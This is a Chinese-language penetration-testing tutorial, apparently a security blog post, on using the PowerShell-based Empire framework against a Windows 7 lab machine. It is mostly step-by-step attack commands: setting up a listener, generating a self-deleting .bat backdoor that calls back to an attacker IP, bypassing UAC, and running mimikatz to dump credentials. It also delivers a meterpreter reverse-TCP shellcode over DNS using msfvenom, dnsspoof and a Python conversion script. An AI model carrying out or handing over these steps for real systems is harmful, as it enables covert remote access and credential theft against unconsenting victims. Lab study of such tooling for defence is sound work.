Empire一款基于PowerShell的后渗透测试工具。感谢某葵和某Egg的推荐和指点。感谢某骗子给我解惑DNS的一些东西。
github项目地址:
https://github.com/EmpireProject/Empire
下载:
git clone https://github.com/EmpireProject/Empire.git
Empiresetup
目录执行install.sh
文件
./install.sh
开始下载安装运行依赖文件
最后设置数据库密码那里可以默认回车,也可以自己设置
踩坑经历:
如果安装途中,遇到网络问题,多次执行./install.sh文件安装全部依赖,运行主目录下empire启动程序前,先执行setup目录下的reset.sh后再执行主目录empire文件。
(Empire)> listeners
# 监听
监听
(Empire: listeners) > uselistener http
#选择监听方式
(Empire: listeners/http) > info
#查看需要配置的选项
(Empire: listeners/http) > set Name backdoor
#设置监听名字
养成良好的习惯设置自己容易理解的名字,方便管理shell
(Empire: listeners/http) > set Host http://192.168.80.131:4447
#设置木马反弹回连地址
(Empire: listeners/http) > set Port 4447
#设置本地监听端口
(Empire: listeners/http) > execute
#执行监听
至此,监听工作完成。我们开始配置生成后门。
生成木马(Empire: listeners/http) > back
#返回上层模块(Empire: listeners) > usestager windows/launcher_bat backdoor
# 选择木马种类
这里我选择的是bat类型的脚本,当然你们可以选择其他的。后面的backdoor就是刚刚我们设置的监听,这个模块就是依据监听的配置信息,生成相应的木马,让反弹马找到连接主机。
(Empire: stager/windows/launcher_bat) > info
#查看需要配置的
你可以set OutFile 到你指定的目录(绝对路径)
(Empire: stager/windows/launcher_bat) > execute
#执行生成木马
我们把tmp目录下的文件拷贝到我们的目标主机上运行
弹出一个黑框后,它自动消失了,是因为我们刚才生成backdoor的时候其中一个选项delete设置的True,运行结束后删除自身。
点击完我们的backdoor之后,我们回到我们的机器可以看到已经获取到了客户端的一个会话。
(Empire: stager/windows/launcher_bat) > agents
#查看获取的代理会话
一个会话已经建立完成。
(Empire: agents) > rename HZFT7AX1 win7pro
#更改会话名字
养成一个良好的习惯。
(Empire: agents) > interact win7pro
#和该会话交互
从session_key这里可以看出我们的会话是经过加密的。
同时该框架还提供了bypassuac,mimikaz等模块,为渗透提供高效,快速的提升权限,信息获取。
正好结合这个说一个dns传输backdoor payload的方式
NativePayload_DNS
项目地址:
https://github.com/DamonMohammadbagher/NativePayload_DNS.git
首先编译源码生成可执行文件
使用visual studio 工具命令编译!
生成NativePayload_DNS.exe 。
上传到我们攻击的机器上去,进入到交互界面。
首先我们先试试利用bypassuac这个功能,看看是否可以提升权限获取该机器管理员的密码,直接运行mimikatz是会报错的。
运行后我们看到有第二个会话开始建立中,稍等片刻
(Empire: win7pro) > agents
#列举代理会话
细心的人可能发现多了一个*号那个usename那里
(Empire: agents) > rename 8TKB4G9S win7proprivilege
#这里我说了三遍,很重要。
(Empire: agents) > interact win7proprivilege
#和这个会话交互
(Empire: win7proprivilege) > mimikatz
#使用mimikatz
(Empire: win7proprivilege) > upload /root/Desktop/NativePayload_DNS.exe
#上传
(Empire: win7proprivilege) > shell dir
#查看是否上传成功.
开始配置服务端
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.80.131 lport=4444 -f c > /root/Desktop/payload.txt
#生成shellcode
这里申明下,网上的命令可能因为文章格式问题,导致命令不对,这里我做了修正。写了一个转换脚本,代码如下(一把梭,勿喷):
#!/usr/bin/python2
#!-*- coding:utf-8 -*-
a = ''
f = open("payload.txt", "rb")
line = f.readlines()[1:]
f.close()
for lines in range(len(line)):
ipls = '1.1.1.%s' % lines
shellcode = line[lines].replace(";","").strip().rstrip(""")+".1.com"+"""
text = ipls + " " + """ + "0x"+shellcode.lstrip(""")
a += text.replace("\","0")+"n"
fn = open("dns.txt", "wb")
fn.write(a)
fn.close()
这里网上给出的样例也有问题,看了好久发现传输的payload缺少了一个"0x",于是在dns.txt做了修改。一直被老哥教育细心,耐心,这回总算用成了一回。
开启msf监听,这里就不再赘述了。
开启欺骗
root@localhost# dnsspoof -f dns.txt
服务端配置完成,现在回到我们的empire会话执行命令,获取meterpreter shell.
(Empire: win7proprivilege) > shell NativePayload_DNS.exe 1.1.1. 34 192.168.80.131
#执行
这个比较慢,需要稍等会,等它传输完,就会返回shell。
一张图证明empire绕过了UAC:
本文作者:ChaMd5安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/73766.html